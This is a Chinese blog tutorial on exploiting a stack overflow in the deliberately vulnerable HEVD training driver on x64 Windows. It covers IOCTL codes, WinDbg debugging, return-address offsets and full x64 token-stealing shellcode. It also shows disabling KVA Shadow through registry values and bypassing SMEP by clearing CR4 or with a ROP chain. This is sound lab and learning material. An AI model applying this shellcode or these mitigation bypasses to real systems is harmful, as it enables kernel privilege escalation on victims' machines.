在上一篇中了解了与内核的交互模式,这里就可以开始做HEVD了
文章已在先知社区投稿:https://xz.aliyun.com/t/13364
编写交互模块
A. 计算IO_CTL值
其实不用这步,但是可以当作更多的了解
在之前的交互中有这么一条定义功能号
| 1 | 
但是…HEVD逆向会发现是这样的

发现CTL_CODE也是个宏定义
| 1 | 
其中,这里
- DeviceType -> FILE_DEVICE_UNKNOWN = 0x22
- Function -> = 0x9888
- Method -> METHOD_BUFFERED=0
- Access -> FILE_ANY_ACCESS=0
表达式就为
| 1 | (0x22 << 16) | (0 << 14) | ( 0x9888 << 2) | 0 | 
很容易得到逆向,这里以0x226220为例子
| 1 | 0x205B = 0x22205B ^ 0x220000 | 
那么对应的函数
| 1 | unsigned int io2num(unsigned int ioctl_num) { | 
后面之所以要&一下是因为数据的大小就只有那么大,所以II文章的描述符0x9888实际有效的只有0x888
B. 功能选择
这里就以最简单的内核栈溢出举例子
每开始一个漏洞利用就编写一个菜单,然后选择解析逆向出来的功能描述符,运行对应函数,没啥好讲的
| 1 | void menu() { | 
C. 简单与功能交互

这里要传一个空间和大小过去,这里用的到方式就是上一篇的IOCTL方式
这里我把所有的exp定义在exp.c
| 1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { | 

驱动定义了一个2048大小的栈空间v5,但是写入的空间是我们可以控制的,尝试触发漏洞
| 1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { | 


D. 开始调试
之前符号表好像没加载上,在windbg中,HEVD的描述符一般在同级文件夹下
| 1 | .sympath+ <pdb文件物理机上的路径> | 
然后再
| 1 | lm m HEVD | 

| 1 | x /D /f HEVD!* | 

下个断点
| 1 | bp HEVD!TriggerBufferOverflowStack | 
这里运行下不崩溃的

I. Windbg 调试常用
在使用Windbg调试内核驱动程序时,你可以使用以下命令查看内存地址:
- 
64位查看内存 1 dq <内存地址> L <要查看的长度,长度是64位为一组> 
- 
64位查看内存,单列显示,这在查看栈的情况是比较好用 1 dqs <内存地址> L <要查看的长度,长度是64位为一组> 
- 
在某处添加断点 1 bp <内存虚拟地址> 1 
 2bp <模块名>!<函数名> 
 //bp: break point 如 bp HEVD!TriggerBufferOverflowStack
- 
查看所有断点 1 bl 
- 
快速反汇编,适合查看gadget 1 u <内存地址> 
- 
反汇编该地址对应的一段汇编,适合反汇编这段函数后选择断点 1 
 2uf <内存地址> 
 uf <模块名>!<函数名>
- 
计算器 1 ? <计算表达式> 
II. 内存布局

| 1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { | 
如果引发溢出的话,看看kernel中的v5变量的布局


这里的kernelBuffer就相当于用户模式下的“栈帧”
同时可以看到我们程序的内存


这个时候顺便看一下rbp

在pop前下断点再运行到

所以是rsp+0x20+0x818就得到ret的地址
很明显这里可以通过栈溢出劫持返回地址,然后实现我们的shellcode
III. 布置构思
- 首先 驱动是64位,所以要用64位的思维去布局
- 其次,驱动和我们的程序内存之间是能访问的,所以我们在Ring3写shellcode,然后覆盖到Ring0去执行
那么就是
| 1 | "a"*0x810+p64(shellcode_addr) | 
Shellcode+exp编写
A. shellcode
主要是用这篇:Exploiting Windows 10 Kernel Drivers - Stack Overflow 或者里面参考的两篇
主要目的就是拿去Token然后替换掉一个cmd.exe的Token实现提权,在下一篇文章中会详细提到
This time around we will pass the PID into the shellcode, which means that our tweaked shellcode will look like this:
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
push rax
push rbx
push rcx
push rsi
push rdi
mov rax, [gs:0x180 + 0x8] ; Get 'CurrentThread' from KPRCB
mov rax, [rax + 0x220] ; Get 'Process' property from current thread
next_process:
cmp dword [rax + 0x2e0], 0x41414141 ; Search for 'cmd.exe' process ('AAAA' replaced by exploit)
je found_cmd_process
mov rax, [rax + 0x2e8] ; If not found, go to next process
sub rax, 0x2e8
jmp next_process
found_cmd_process:
mov rbx, rax ; Save our cmd.exe EPROCESS for later
find_system_process:
cmp dword [rax + 0x2e0], 0x00000004 ; Search for PID 4 (System process)
je found_system_process
mov rax, [rax + 0x2e8]
sub rax, 0x2e8
jmp find_system_process
found_system_process:
mov rcx, [rax + 0x358] ; Take TOKEN from System process
mov [rbx+0x358], rcx ; And copy it to the cmd.exe process
pop rdi
pop rsi
pop rcx
pop rbx
pop rax
; return goes here
B. EXP
| 1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { | 

然后到ret返回,查看返回地址
| 1 | k | 

发现返回地地址已经被覆盖了,继续走下去

跳转到了shellcode了,再走两步

???


说我在执行不可执行的内存,但是明明已经VirtualProtect(shellcode, 256, PAGE_EXECUTE_READWRITE, &oldProtect);
???越来越离谱了
尝试把shellcode移动到常量内存中试试,还是不行,接着我再进行ioctl之前pause一下,好像可以了

但是依然被说执行不可执行代码
新的保护机制
查了其他的解法,发现Windows 8过后微软添加了一个叫做SMEP保护的东西
你可以在这里查到关于Windows的所有保护机制:https://learn.microsoft.com/zh-cn/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10
- 监督器模式执行防护 (SMEP) :帮助防止内核 (“监督器”) 在用户页面中执行代码,这是攻击者用于本地内核提升特权 (EOP) 的常见技术。 此配置需要在 Intel Ivy Bridge 或更高版本处理器中找到处理器支持,或者具有 PXN 支持的 ARM。
尝试关闭该保护后执行exp,但是发现是无法关闭的,由于内核的整体设计导致该保护在windows8及以上是不能被关闭的,那么就只能想办法绕过了
A. SMEP保护机制及手动绕过
该保护机制强烈依赖于CPU的RC4寄存器,刚好我这里有《英特尔® 64 位和 IA-32 架构开发人员手册合订本》,翻出来看一下

[机翻]从用户模式地址获取指令。
访问权限取决于 CR4.SMEP 的值:
• 如果CR4.SMEP = 0,访问权限取决于分页模式和IA32_EFER.NXE 的值:
— 对于 32 位分页或如果 IA32_EFER.NXE = 0,则可以从任何用户模式获取指令
地址。
— 对于 IA32_EFER.NXE = 1 的其他分页模式,可以通过每个分页结构条目中 XD 标志为 0 的转换从任何用户模式地址获取指令
控制翻译; 指令可能无法从任何用户模式地址获取
在任何控制转换的分页结构条目中 XD 标志为 1 的转换。
• 如果CR4.SMEP = 1,则不能从任何用户模式地址获取指令。
— 仅允许对管理员模式影子堆栈地址进行管理员模式影子堆栈访问
(往上看)。
或许我们将CR4.SMEP的值设置为0,访问权限由页中的U/S标志位决定
CR4寄存器的结构如下(小端序顺序从右向左):

不急,继续搜索发现了一份Intel关于SMEP的更详细的描述
尝试使用调试起修改CR4

如果修改第20位为0,rc的值为0x270678,然而还是不行

B. KVAS
Windows内核缓解机制使用了Kva Shadow内存,比如MeltDown漏洞就于此有关,首先不会讲细节,在下一篇文章会讲到,尝试将其关闭
再注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
创建两个DWORD值:FeatureSettingsOverride   FeatureSettingsOverrideMask
设置值为3,然后重启

现在手动设置cr4.SMEP为0

终于运行了

shellcode的一些偏移有问题

更换为
| 1 | BYTE cmd[256] = { | 
EXP
| 1 | void StackOverflow(HANDLE hDevice, unsigned int ioctl) { | 
调试中手动CR4.SMEP=0(注意,之前已经关闭了KVA)

C. 使用内核ROP绕过SMEP
首先我们需要一个类似于mov rc4,xxx的rop,让rc4.smep=0,
参考在Linux下进行ROP的经验, payload大致长这样的
| 1 | *(unsigned long long*)(stackspace + 0x818) = (unsigned long long)pop_rcx_ret; | 
多调试或者编程自动寻找就可以找到了,这里暂时参考HEVD Exploits – Windows 10 x64 Stack Overflow SMEP Bypass


修改EXP
| 1 | unsigned int size = 0x840; | 
没有下断点直接过


遗留
下一篇
- user编程寻找ROPGadget
- shellcode编写
- Token提权
- KVAS
参考
https://www.bilibili.com/video/BV1pD4y1a7hP/
https://www.cnblogs.com/XiuzhuKirakira/p/16995784.html
https://blog.xpnsec.com/hevd-stack-overflow
https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit
https://joe1sn.eu.org/2023/02/17/windows_kernel_driver_2/